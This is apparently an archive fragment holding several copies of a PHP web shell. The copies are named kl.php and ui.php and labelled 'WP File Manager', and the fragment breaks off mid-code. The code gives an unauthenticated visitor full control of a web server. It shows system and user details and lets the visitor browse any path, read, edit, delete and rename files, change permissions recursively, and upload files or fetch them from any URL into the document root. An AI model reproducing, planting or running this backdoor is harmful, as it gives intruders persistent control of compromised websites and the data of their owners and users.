"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@drlinda.al/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@drlinda.al/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = 